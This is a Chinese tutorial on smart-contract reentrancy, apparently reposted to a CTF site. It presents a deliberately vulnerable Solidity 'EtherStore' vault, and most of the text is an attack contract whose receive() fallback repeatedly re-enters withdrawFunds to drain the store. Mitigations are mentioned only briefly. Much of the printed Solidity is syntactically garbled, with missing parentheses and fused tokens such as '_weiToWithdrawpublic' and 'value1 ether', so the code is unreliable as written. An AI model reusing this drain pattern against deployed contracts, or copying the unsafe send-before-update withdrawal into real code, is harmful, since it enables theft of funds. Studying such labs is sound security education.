智能合约漏洞入门(4)可重入性漏洞

描述:EtherStore可重入性漏洞是智能合约设计中的一个缺陷,它允许攻击者利用可重入性,从EtherStore合约中提取比他们有权获得的更多的资金。这个漏洞产生于EtherStore合约中的withdrawFunds函数,在那里以太币在更新他们的余额之前就被转移到攻击者的地址。这允许攻击者的合约在余额更新之前回叫withdrawFunds函数,导致多次提款,并可能耗尽EtherStore合约中的所有以太币。

场景:EtherStore是一个简单的保险库,它可以管理每个人的以太币。但它是脆弱的,你能偷走所有的以太币吗?

缓解措施:遵循检查-效果-交互原则,并使用OpenZeppelin可重入性保护。

参考:

Introduction to Smart Contract Vulnerabilities: Reentrancy Attack

Consensys Smart Contract Best Practices: Reentrancy

EtherStore合约:

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit(public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds(uint256 _weiToWithdrawpublic {
        require(balances[msg.sender] >= _weiToWithdraw);
        (bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(send, "send failed");

        // 检查在发送后是否仍然足够以避免下溢
        if (balances[msg.sender] >= _weiToWithdraw) {
            balances[msg.sender] -= _weiToWithdraw;
        }
    }
}

如何测试:

// 测试EtherStore的可重入性攻击漏洞的函数
function testReentrancy(public {
    // 执行攻击合约的攻击函数
    attack.Attack();
}

// 攻击EtherStore的合约
contract EtherStoreAttack is Test {
    // 要被攻击的EtherStore合约
    EtherStore store;

    // 构造函数初始化EtherStore合约
    constructor(address _store) {
        store = EtherStore(_store);
    }

    // 执行攻击的函数
    function Attack(public {
        // 记录EtherStore合约的余额
        console.log("EtherStore balance", address(store).balance);

        // 向EtherStore合约存入1个以太币
        store.deposit{value1 ether}();

        // 记录EtherStore合约的新余额
        console.log(
            "Deposited 1 Ether, EtherStore balance",
            address(store).balance
        );
        // 从EtherStore合约提取1个以太币,这是漏洞利用的点
        store.withdrawFunds(1 ether); 

        // 记录攻击合约的余额
        console.log("Attack contract balance", address(this).balance);
        // 记录EtherStore合约提款后的余额
        console.log("EtherStore balance", address(store).balance);
    }

    // 利用可重入性漏洞的回退函数
    receive() external payable {
        // 记录攻击合约的余额
        console.log("Attack contract balance", address(this).balance);
        // 记录EtherStore合约的余额
        console.log("EtherStore balance", address(store).balance);
        // 如果EtherStore合约的余额至少有1个以太币
        if (address(store).balance >= 1 ether) {
            // 提取1个以太币,这是回退函数中漏洞利用的点
            store.withdrawFunds(1 ether); 
        }
    }
}

红框:成功利用,耗尽了EtherStore。

智能合约漏洞入门(4)可重入性漏洞
EtherStore Draining


原文始发于微信公众号(3072):智能合约漏洞入门(4)可重入性漏洞

版权声明:admin 发表于 2024年6月6日 下午1:37。
转载请注明:智能合约漏洞入门(4)可重入性漏洞 | CTF导航

相关文章